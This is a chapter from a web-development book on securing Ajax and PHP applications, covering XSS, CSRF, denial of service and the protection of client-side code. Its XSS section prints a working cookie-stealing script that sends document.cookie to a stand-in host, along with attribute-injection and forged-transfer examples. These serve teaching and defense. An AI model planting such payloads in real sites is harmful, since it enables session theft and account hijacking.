CHAPTER 12

Security

Since Ajax has only recently begun to receive mainstream recognition, it could be argued that many developers have been too overcome by the wow factor to really consider the security-related implications of building applications in this manner. It's important to remember that, no matter what concept or language you are using to build and maintain your applications, you must always consider the security, safety, and well-being of not only your users, but also your own systems and data. Therefore, while developers new to the Ajax concept find themselves smitten with possibilities, they also must realize what is possible from a security standpoint. Is it possible to exploit certain aspects of the Ajax model? Are applications developed in JavaScript more at risk to potential attacks than those that are not? For both questions, the answer is yes. The good news is that only a few issues arise strictly because of the way Ajax functions; most security issues are the same old issues we have always faced, but they are often overlooked due to the new way that Ajax applications are handled.

Throughout this chapter, we will have a look at potential points of attack to Ajax applications, both to users and developers, as well as general safety tips you can use to make your web application as secure as possible.

Additionally, we will briefly cover the security of your intellectual property and business logic.

Some of the ideas and issues identified in this chapter will overlap with each other. Hopefully, this will reinforce the importance of security in your web applications.

Increased Attack Surface

The attack surface of a web application is the collection of all the entry points to that application. In other words, any of your PHP scripts that accept and process data from the user (or from another web site, if you run web services) are entry points. Every Ajax script you add offers another entry point to your server, thereby increasing your attack surface.

Let's use the example of a registration form where you must choose a unique username. A traditional non-Ajax implementation would check your entered username after you submit the whole form, returning an error message if you choose a username that is already in use.

Using Ajax, you can simplify this process for users by verifying their username in real time when they type it. This way, they can easily choose another username if required. Obviously, in your Ajax implementation, you would still verify their username when they submitted the whole form.

Let's have a look at what has happened, though. In your non-Ajax implementation, there was one entry point: the form processor. Now that you are checking usernames in real time, you have two entry points: the form processor and the username checker.

By adding this simple Ajax-powered feature, you have added an extra point at which your web application could potentially be exploited. In real terms, what this means is that you must be vigilant in both scripts, making sure that the input data is sanitized and processed correctly both times.

If you employ some basic strategies to manage your application's attack surface, there is no reason for it to be any less secure than your non-Ajax applications. Note that we haven't always adhered to these strategies in this book, however, so as to demonstrate the finer points of writing Ajax-enabled applications.

Strategy 1: Keep Related Entry Points Within the Same Script

This could loosely mean keeping related entry points in the same script, the same function, the same class—or whichever programming style you prefer.

Applying this to our earlier example, a good way to achieve this would be to check the username and process the whole form all within the same script. This would also allow you to check other form fields easily if you so desired.

If you had 10 or 20 fields you needed to validate individually via Ajax (probably an extreme example, but possible), it would not make sense to create one script for each field. So if you send an Ajax request to check a username, and another to check some other field (such as an e-mail address), each of the checks should be performed by the same PHP script.

There are many different ways to implement this strategy. The most important thing is that you are consistent in how you go about this so that you can make maintenance and extensibility as smooth as possible.

Strategy 2: Use Standard Functions to Process and Use User Input

Every bit of user input should be sanitized to ensure that it is not malicious (whether intentional or otherwise). Although this can be a time-consuming process, it is nonetheless extremely important.

We will look at specific strategies for sanitizing user input later in this chapter, and take a look at the different things to consider for different situations in your Ajax applications.

It should also be noted that sanitizing the data correctly when actually using it is just as important as when receiving it. For example, if you want to insert a string with no HTML tags into your MySQL database, you would first run `strip_tags()` on the string, and then use `mysql_real_escape_string()` when inserting it into your database. The `strip_tags()` call cleans the input data while the `mysql_real_escape_string()` makes the data safe to use.

Whenever possible, you should try and use PHP's built-in functions, as these have been reviewed and scrutinized by many people over a long period of time. Some of these functions include the following:

- `strip_tags`: Removes any HTML tags from a string
- `preg_replace`: Removes unwanted characters from a string
- `mysql_real_escape_string`: Ensures that data is escaped properly to prevent SQL injection and SQL error
- `preg_quote`: Makes a string safe to use in a `preg_match` regular expression
- `escapeshellarg`: Makes a string safe to use when executing a command-line program
- `htmlentities`: Outputs HTML tags as literal tags, rather than executing it as HTML code

Cross-Site Scripting

Cross-site scripting (XSS) is a type of attack in which a web application or the user of a web application is exploited by the web application not correctly sanitizing user input.

While this type of attack is a problem with all web applications—not just Ajax-powered ones—we include it here because if you're not careful, there may be many opportunities for users to exploit your Ajax-powered application.

An XSS attack is similar in nature to an SQL injection attack, but differs in that the exploit occurs when the user of an application receives back the offending data in their web browser.

As an example, let's look at how a web forum works. A user can post a message to the forum, which can then be viewed by all the other forum users. If you don't check the data the user enters when posting a message, some nasty things could happen to the people who read the message. Let's consider a few things that could happen:

Entering JavaScript code: Even entering something as simple as `<script>alert('My XSS attack!')</script>` will affect all readers, as a JavaScript alert box will appear on their screen when viewing the message.

Displaying unwanted images: If you don't filter out image tags, entering `<img src="http://www.example.com/offensive-image.jpg" />` will display the offensive image on the page.

Changing the page layout: A user could easily submit CSS style data or load an external stylesheet, which could result in the page colors and layout being modified. All that is needed is something like `<style> @import url(http://www.example.com/styles.css) </style>` to achieve this.

Tracking page statistics: Using any of the aforementioned three methods, a user could gain some insight to the amount of traffic the page receives. As each of these methods has the ability to load a remote file, this data can easily be recorded.

Of all of these issues, the biggest concern is the first one: the ability to insert JavaScript code. The previous example is probably the most basic attack that can be achieved. Simply showing an alert box isn't a big deal in itself, but let's take a closer look and see the real damage that could occur.

If untreated data is shown to readers of the forum message, it can be very easy to steal their cookies for the forum web site. Depending on how the forum's authentication works, it may be very easy to then log in as any other user on the forum and post messages under their name.

So how could you steal a user's cookies using XSS? Simply entering something like the following in a forum post will send a user's cookies to a remote web site (which would be your site that then records the cookies for your later use):

```
<script>
    foo = new Image();
    foo.src = "http://www.example.com/cookie-steal.php?cookie=" + document.cookie;
</script>
```

There are several ways to achieve this—using the aforementioned image method will generally go unnoticed by the user.

But then what? So what if we have somebody's cookies? The problem occurs when the forum site uses a session cookie to determine whether the user is logged in. Since you now know the session cookie of the site's users, you can visit the site using their session cookie, and you will potentially be automatically authenticated as that user (assuming they were logged in when they viewed our malicious forum post).

Even if the site does further checks, such as verifying the user's web browser, you can still get in. Note that when we record the user's cookies, they send a HTTP request to cookie-stealing script, meaning that you know their HTTP user-agent string and their IP address.

However, just because somebody has your cookies for a given site doesn't mean they can automatically log in under your account. Ultimately, it depends on how the targeted site is coded. Let's now look at how you can both prevent the XSS attack and how you can protect against session theft.

Strategy 1: Remove Unwanted Tags from Input Data

Not allowing users to enter any tags at all is easy. This is typically how you want to treat data on a signup form, such as a user's name or e-mail address. On the other hand, in a forum system, you may want to allow users to format their code or post links or images.

To remove all HTML tags (including `script` tags), you can use PHP's `strip_tags()` function. This function also allows you to pass a list of allowed tags, which it will ignore when stripping the rest of the tags.

This is effectively a white list of safe tags. The problem with using PHP's `strip_tags()` to do this is that it doesn't alter attributes. For example, if you wanted to remove every tag except the `strong` tag, you would use something along the lines of `$str = strip_tags➥ ($str, '<strong>');`. A malicious user, however, could still enter the following:

```
Don't mouse over the <b onmouseover="alert('I told you not to!')">bold text!</b>
```

Or they could enter something more damaging, such as in the previous examples. To combat this, you must also filter out attributes from allowed tags. You can achieve this using `preg_replace()` on the resulting data from `strip_tags()`.

```
<?php
    $str = strip_tags($str, '<strong>');
    $str = preg_replace('/<(.*)\s+(\w+=.*?)>/', '', $str);
?>
```

If you were to now run the preceding user input through this code, you would end up with `Don't mouse over the <strong>bold text!</strong>`, just as you had hoped.

Another solution some web applications (such as forum software) use is "fake" HTML tags, such as `[b]` instead of `<b>`. When they output posted messages using this markup, the application searches through the code and replaces each tag with a safe HTML tag (which will never have dangerous attributes in it, as the tags will be hard-coded to be clean).

Strategy 2: Escape Tags When Outputting Client-Submitted Data

This is in a way the opposite treatment to strategy 1, in which you remove any unwanted tags, and then proceed to output the remaining data as is.

Instead of filtering the data, you output it exactly as it was submitted. The difference now is that you're not treating your data as HTML, so therefore you must escape it. You do this with the PHP `htmlentities()` function. This will convert the `<` character to `&lt;`, the `>` character to `&gt;`, the `"` character to `&quot;`, the `'` character to `&apos;`, and the `&` character to `&amp;`.

Not only does this protect against HTML tags being directly output, but it also keeps your HTML valid and stops your page from "breaking." If you are outputting user-submitted data in form elements, you should also be using this.

```
<p><?php echo htmlentities($userSubmittedPost) ?></p>
<input type="text" name="someInput" value="<?php echo htmlentities($someData) ?>" />
```

Strategy 3: Protect Your Sessions

Unfortunately, it can be quite difficult to completely protect your sessions. As stated, if a user's cookie data is captured using the XSS attack outlined previously, then their user-agent can also be captured.

Additionally, since a user's IP address may change from one request to the next (which frequently occurs for users behind a web proxy), then you can't rely on their IP address to identify them.

Because of this, you should take at least the following precautions:

- Regenerate a user's session ID using PHP's `session_regenerate_id()` after a change in their permission level (and destroy their old session using `session_destroy()`).
- Give users the option to log out (thereby destroying their session data when they do).
- Remove session data after a period of inactivity (e.g., if the user does nothing for 30 minutes, then their session is invalid).
- Remove session data after an absolute period of time (e.g., after a day, their session ID is no longer valid regardless of how recently the session ID was used).
- Add password protection to critical operations. Even if it appears that the user is valid, ask them to reauthenticate when they try to do something important (and remember to then regenerate their session ID and destroy their old session).

Thankfully, PHP will automatically handle the deletion of old sessions (using its session garbage collection settings), but you should still strongly consider using these other recommendations.

Cross-Site Request Forgery

Cross-site request forgery (CSRF) is a type of attack in which a script in your web application is executed unknowingly by an authorized user. As shown in the previous section on XSS, a malicious user and an unprotected site can result in an innocent party executing dangerous JavaScript.

In the XSS example, the malicious JavaScript resulted in session IDs being stolen, potentially allowing the attacker to hijack user sessions later on. A CSRF attack differs in that it makes the innocent user perform some action on the web site that they are unaware of, and that requires their privilege level to perform.

In a sense, you could say that a CSRF attack is the opposite of an XSS attack—an XSS attack results in the trust a user has for a web site, while a CSRF attack results in the trust a web site has in a user.

Let's look at an extreme example. Suppose the Insecure Bank Co. has a web site that allows you to manage your funds, including transferring money to people anywhere in the world. Additionally, they also have a web forum on their site, where customers can talk to each other (for what purpose, I'm not sure).

Bob has decided he wants to steal other people's funds, which he figures he can do using a CSRF attack. Bob posts a message to the forum, containing some evil JavaScript code. The address of the forum message is `http://www.insecurebank.com/forum.php?message=1234`.

Now Julie logs into her online banking account, and notices that a new message has been posted to the forum. When she reads the message, the JavaScript hidden in the message causes Julie to unknowingly open `http://www.insecurebank.com/transfer.php?amount=10000&to=12345678`. This script then transfers $10,000 to the bank account 12345678, which coincidentally belongs to Bob!

The attack was performed in the same way as the XSS attack was in the previous section, and was therefore caused by the same thing: incorrect sanitizing and escaping of data. Therefore the strategies for preventing XSS attacks also apply to preventing CSRF attacks.

This example also brings several other issues to light, which we will now cover.

Confirming Important Actions Using a One-Time Token

If a user tries to do something that has some importance (such as transferring funds, changing password, or buying goods), make them confirm their intentions before processing the transaction.

In the preceding example, the Insecure Bank Co. shouldn't have transferred the money to Bob's account so easily. Julie should have been forced to fill out a specific form for the transaction to take place.

In this form, you use a one-time token. This is essentially a password that is generated for a specific transaction, which is then required to complete the transaction. It doesn't require the user to enter anything extra; it simply means that a transaction cannot be completed without confirmation.

We'll use the bank example again to demonstrate this. This is how a basic version of the `transfer.php` script might look with the one-time token added to it. Without the correct token being submitted with the form, the transaction cannot complete, thereby foiling the previous CSRF attack.

```
<?php
    session_start();

    if (!isset($_SESSION['token'])) {
        $_SESSION['token'] = md5(uniqid(rand(), true));
    }

    if ($_POST['token'] == $_SESSION['token']) {
        // Validate the submitted amount and account, and complete the transaction.
        unset($_SESSION['token']);
        echo 'Transaction completed';
        exit;
    }
?>
<form method="post" action="transfer.php">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token'] ?>" />
    <p>
        Amount: <input type="text" name="amount" /><br />
        Account: <input type="text" name="account" /><br />
        <input type="submit" value="Transfer money" />
    </p>
</form>
```

You first initiate the PHP session. We have simplified this call for now, but you should keep in mind the previous strategies for protecting your sessions.

Next, you check whether a token exists, and create a new one if there isn't already one. You use the `uniqid()` function to create this unique token. In fact, the code used to generate this token is taken directly from the `uniqid()` PHP manual page, at `www.php.net/uniqid`.

To simplify the example, we have created a form that submits back to itself—so next, you check your stored token against the one submitted. Initially when you run this form, no token is submitted, so obviously the transaction isn't completed.

Finally, you output the form with the generated token. This must be included in the form to complete the transaction.

Confirming Important Actions Using the User's Password

If all else fails, you can always require users to reenter their passwords before performing any critical actions. While it may be an inconvenience to users, the added security may well be worth it.

This step is often taken before someone can change their password. Not only must they enter their new password, they must also enter their old password for the change to be made.

An example of this is Amazon. After you log in, the site will remember your identity for subsequent visits, displaying related products based on your browsing patterns and past purchases.

However, as soon as you try to do something like buy a book or view a previous purchase, you must enter your password to confirm you have the rights to do so.

GET vs. POST

A common (but often incorrect) argument is that using a `POST` request instead of a `GET` request can prevent attacks like this. The reason this argument is incorrect is that a `POST` request can also be easily executed.

Granted, it is slightly more complicated to achieve, but it is still easy. The `XMLHttpRequest` object can perform `POST` requests just as it can perform `GET` requests. The preceding XSS example used an image to transmit the sensitive cookie data. If the attacker needed to perform a `POST` request rather than a `GET` request, it wouldn't be difficult to insert a call to `XMLHttpRequest`.

There are other reasons to use `POST` instead of `GET`, but the idea that `POST` is more secure is simply incorrect. Let's now look at why `POST` can be better to use than `GET`.

Accidental CSRF Attacks

Not all CSRF attacks occur as the result of a malicious user. Sometimes they can occur by somebody accidentally visiting a URL that has some side effect (such as deleting a record from a database). This can easily be prevented by using `POST` instead of `GET`.

For example, suppose you run a popular forum system that allows anonymous users to post messages. The form that posts to the site is a `GET` form. Because your site is popular, search engines visit it every day to index your pages.

One of the search engines finds the script that submits posts to your forum, and as a web spider does, it visits that page. Without even meaning to, that search engine has now posted a new message to your forum! Not only that, but it might have indexed that URL, meaning that when people use that search engine, they could click through directly to that link!

This example is a bit extreme (mainly because you should be validating all the input data anyway), but it demonstrates the following point: scripts that result in some side effect (such as inserting data, deleting data, or e-mailing somebody) should require a form method of `POST`, while `GET` should only be used by scripts with no side effects (such as for a search form).

Denial of Service

A denial of service (DoS) attack occurs when a computer resource (such as a network or a web server) is made unavailable due to abuse by one or more attacker. This is generally achieved by making the target servers consume all of their resources so that the intended users cannot use them.

What we're looking at here in relation to Ajax is the unintentional overloading of our own resources in order to fulfill all HTTP subrequests.

To demonstrate what I mean, let's take a look at Google Suggest (`labs.google.com/suggest`). When you begin to type a search query, an Ajax request fetches the most popular queries that begin with the letters you have typed, and then lists them below the query input box.

A single search could result in five or six HTTP subrequests before a search is even performed! Now, obviously Google has a lot of processing power, but how would *your* web server react to this kind of usage? If you ran your own version of Suggest, and the results were fetched from a MySQL database, your web server could end up making a few thousand connections and queries to your MySQL server every minute (other application environments work differently than PHP in that they can pool database connections, thereby removing the need to connect to the database server for each request. PHP's persistent connections can at times be unreliable).

As you can see, given enough concurrent users, your web server could quickly become overloaded.

The other thing to note here is that the amount of data sent back to the user is also increased greatly. While this will rarely be enough to overload their connection, this must also be taken into consideration.

Perhaps this example is a little extreme, as most Ajax applications won't be this intensive; but without careful consideration, you could significantly increase the load on your server. Let's take a look at some strategies to get around this.

Strategy 1: Use Delays to Throttle Requests

When using Google Suggest, one of the first things you might have noticed is that the suggestions don't instantly appear. As you type, the suggestions are only displayed when you pause briefly (after a delay of about 1/4 of a second).

The alternative to this would be look up suggestions after every keypress. By applying this brief delay, Google has significantly throttled the HTTP subrequests.

You achieve this effect by using JavaScript's `setTimeout()` and `clearTimeout()` functions. `setTimeout()` is used to execute a command after a nominated delay, while `clearTimeout()` cancels the execution of this command.

So, in the case of Google Suggest, every time a key is pressed, you cancel any existing timers (by calling `clearTimeout()`), and then start a new timer (by calling `setTimeout()`). Following is a basic example of such code. When you type in the text input, nothing happens until you briefly pause. When you pause, the text in the input is repeated.

```
<html>
<body>

    Enter text:
    <input type="text" onkeypress="startTimer()" name="query" id="query" />

    <div id="reflection"></div>

    <script type="text/javascript">
        var timer = null; // initialize blank timer
        var delay = 300; // milliseconds
        var input = document.getElementById('query');
        var output = document.getElementById('reflection');

        function runRequest()
        {
            output.innerHTML = input.value;
            input.focus(); // refocus the input after the text is echoed
        }

        function startTimer()
        {
            window.clearTimeout(timer);
            timer = window.setTimeout(runRequest, delay); // reset the timer
        }
    </script>

</body>
</html>
```

As soon as a key is pressed in the query input, the `startTimer()` function is called. This then clears any existing timer that might exist from a previous keypress, and then creates a new timer, instructed to run the `runRequest()` function after the specified delay.

Strategy 2: Optimize Ajax Response Data

The principle here is simple: the less data sent between the web browser and web server, the less bandwidth used. The by-product of this is that the application runs faster and more efficiently, and potentially reduces data transfer costs (for both you and the end user).

This is a contentious issue when it comes to Ajax, as one of the key concepts is that XML data is returned from HTTP subrequests. Obviously, though, using XML results in a lot of redundant data that you don't necessarily need. As such, instead of using XML, you can return a truncated version of the same data.

Let's compare using XML to hold sample Google Suggest response data with not using XML. Enter the term `ajax` into Google Suggest, and the following data will be returned (note that this data has been broken up so that you can read it more easily):

```
sendRPCDone(frameElement,
            "ajax",
            new Array("ajax",
                      "ajax amsterdam",
                      "ajax fc",
                      "ajax ontario",
                      "ajax grips",
                      "ajax football club",
                      "ajax public library",
                      "ajax football",
                      "ajax soccer",
                      "ajax pickering transit"),
            new Array("3,840,000 results",
                      "502,000 results",
                      "710,000 results",
                      "275,000 results",
                      "8,860 results",
                      "573,000 results",
                      "40,500 results",
                      "454,000 results",
                      "437,000 results",
                      "10,700 results"),
            new Array("")
           );
```

Here, Google is returning some JavaScript code that is then executed in the client's browser to generate the drop-down suggestion list. This returned data is a total of 431 bytes. But let's suppose it uses XML instead. While you can only speculate on how they might structure their XML, it might look something like this:

```
<suggestions term="ajax">
    <suggestion term="ajax" results="3,840,000 results" />
    <suggestion term="ajax amsterdam" results="502,000 results" />
    <suggestion term="ajax fc" results="710,000 results" />
    <suggestion term="ajax ontario" results="275,000 results" />
    <suggestion term="ajax grips" results="8,860 results" />
    <suggestion term="ajax football club" results="573,000 results" />
    <suggestion term="ajax public library" results="40,500 results" />
    <suggestion term="ajax football" results="454,000 results" />
    <suggestion term="ajax soccer" results="437,000 results" />
    <suggestion term="ajax pickering transit" results="10,700 results" />
</suggestions>
```

This is a total of 711 bytes—a 65 percent increase. If you multiply this by all the requests performed, it is potentially a huge difference over the period of a year. It would take about 3,600 instances of this particular search to increase traffic by 1 MB. It doesn't sound like much—but it adds up quickly when you consider that every time somebody uses Suggest, four or five subrequests are triggered—especially considering the sheer number of search requests Google performs every day.

In fact, Google could optimize this return data even more, speeding up data transfer and reducing bandwidth further. Here's a sample response, only requiring a few small changes to their JavaScript code. This is a total of 238 bytes:

```
ajax
3,840,000
ajax amsterdam
502,000
ajax fc
710,000
ajax ontario
275,000
ajax grips
8,860
ajax football club
573,000
ajax public library
40,500
ajax football
```

```
454,000
ajax soccer
437,000
ajax pickering transit
10,700
```

While in other situations, it may be right to use XML (such as when you need to apply an XSLT stylesheet directly to the returned data), you are much better off in this case not using XML.

Protecting Intellectual Property and Business Logic

One of the biggest problems with making heavy use of JavaScript to implement your application is that anybody using the applications can access the code. While they can't access your internal PHP scripts, they can still get a good feel for how the application works simply by using the "view source" feature in their browser.

As an example, we will again look at Google Suggest. While you cannot see the internal code used to determine the most popular suggestions, you can easily create an imitation of this application by copying their JavaScript and CSS, and viewing the data that is returned from a HTTP subrequest (triggered when the user starts typing a search query).

Not all Ajax-powered applications can be reverse-engineered as easily as Google Suggest, but various bits and pieces can easily be taken from all web applications. This information can be used for many purposes, such as creating your own similar application, or learning how to compromise a web application.

There is no way to completely protect your code, but let's take a look at some strategies to at least help with this.

Strategy 1: JavaScript Obfuscation

Because the JavaScript source code in your web application can be read by somebody with access to the application, it is impossible to stop code theft. However, if your code is hard to read, it is hard to steal.

A code obfuscator is an application that rewrites source code into a format that is extremely difficult to logically follow. It achieves this by doing the following:

- Making variable and function names illegible (such as renaming a function called `isValidEmail()` into a random string, such as `vbhsdf24hb()`)

- Removing extraneous whitespace and fitting as much code into as few lines as possible

- Rewriting numeric values into more complex equations (such as changing `foo = 6` into `foo = 0x10 + 5 - 0xF`)
- Representing characters in strings by their hexadecimal codes

Once your code has been run through the obfuscator, it will become very difficult for somebody to steal. Realistically, though, all this will do is slow down somebody who is trying to use your code—ultimately, it will not stop them if they are determined enough.

Additionally, this results in more work from your end. Every time you make a modification to your code, you must then run it through the obfuscator again before publishing the new version.

Strategy 2: Real-Time Server-Side Processing

Generally, when we talk about validation of user-submitted data, we're referring to client-side and server-side validation. Server-side processing occurs by the user submitting the form, a script on the server processing it, and, if any errors occur, the form being shown again to the user with the errors highlighted.

Conversely, client-side validation takes place in real time, checking whether or not the user has entered valid data. If they have not, they are told so without the form being submitted to the server. For example, if you wanted to ensure that a user has entered a valid e-mail address, you might use the following code:

```
<form method="post" action="email.php" onsubmit="return validateForm(this)">
    <p>
        Email: <input type="text" name="email" value="" /><br />
        <input type="submit" value="Submit Email" />
    </p>
</form>

<script type="text/javascript">
    function isValidEmail(email)
    {
        var regex = /^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*$/i;
        return regex.test(email);
    }

    function validateForm(frm)
    {
        if (!isValidEmail(frm.email.value)) {
            alert('The email address you entered is not valid');
            return false;
        }
        return true;
    }
</script>
```

Let's say you wanted to protect the logic behind the `isValidEmail()` function. By combining server-side validation with JavaScript, you can check the user's e-mail address on the server side in real time, thereby giving you the same functionality while protecting your business logic. Here, you add Ajax functionality to check the e-mail address:

```
<?php
    function isValidEmail($email)
    {
        $regex = '/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*$/i';
        return preg_match($regex, $email);
    }

    if ($_GET['action'] == 'checkemail') {
        if (isValidEmail($_GET['email']))
            echo '1';
        else
            echo '0';
        exit;
    }
?>
<form method="post" action="email.php" onsubmit="return validateForm(this)">
    <p>
        Email: <input type="text" name="email" value="" /><br />
        <input type="submit" value="Submit Email" />
    </p>
</form>

<script type="text/javascript">
    function isValidEmail(email)
    {
        //Create a boolean variable to check for a valid Internet Explorer instance.
        var xmlhttp = false;

        //Check if we are using IE.
        try {
            //If the JavaScript version is greater than 5.
            xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
            //If not, then use the older active x object.
            try {
                //If we are using Internet Explorer.
                xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (E) {
                //Else we must be using a non-IE browser.
                xmlhttp = false;
            }
        }
        // If we are not using IE, create a JavaScript instance of the object.
        if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
            xmlhttp = new XMLHttpRequest();
        }

        xmlhttp.open("GET",
                     "email.php?action=checkemail&email=" + escape(email),
                     false);
        xmlhttp.send(null);
        if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
            return xmlhttp.responseText == '1';
    }

    function validateForm(frm)
    {
        if (!isValidEmail(frm.email.value)) {
            alert('The email address you entered is not valid');
            return false;
        }
        return true;
    }
</script>
```

This second example now uses your PHP function to validate the e-mail address, rather than JavaScript, as in the first example.

One small thing to note in this code is that you set the "asynchronous" flag to `false` in the `xmlhttp.open()` call. This is because you want to stop and wait for the Ajax response, and then return `true` or `false` to the `validateForm()` function.

In this particular instance, the code is somewhat longer when using Ajax to validate the form, but in other situations you may find that the processing you need to do cannot even be achieved by using JavaScript, therefore requiring you to use PHP anyway.

Validating user input in this way will slow down your application slightly, but this is the trade-off for better protecting your code. As always, you should still be processing the form data on the server side when it is submitted.

Summary

As just shown, there are several security issues to consider when implementing your Ajax application. As the technology continues to become more and more prevalent in today's web applications, and developers are called on to create systems based entirely in JavaScript, it is important to remember some of the key points discussed in this chapter.

Of particular importance is the server-side sanitization and validation of user input, as dealing with this correctly will maintain the security of your servers and data.

Now that we have gone through the key aspects of building, maintaining, and securing Ajax- and PHP-based web applications, it is time to work on the complexities of debugging and testing applications both on the client and server side. In Chapter 13, we will have a look at some of the more developer-friendly tools available that will help you to build the most bug-free and functional applications possible.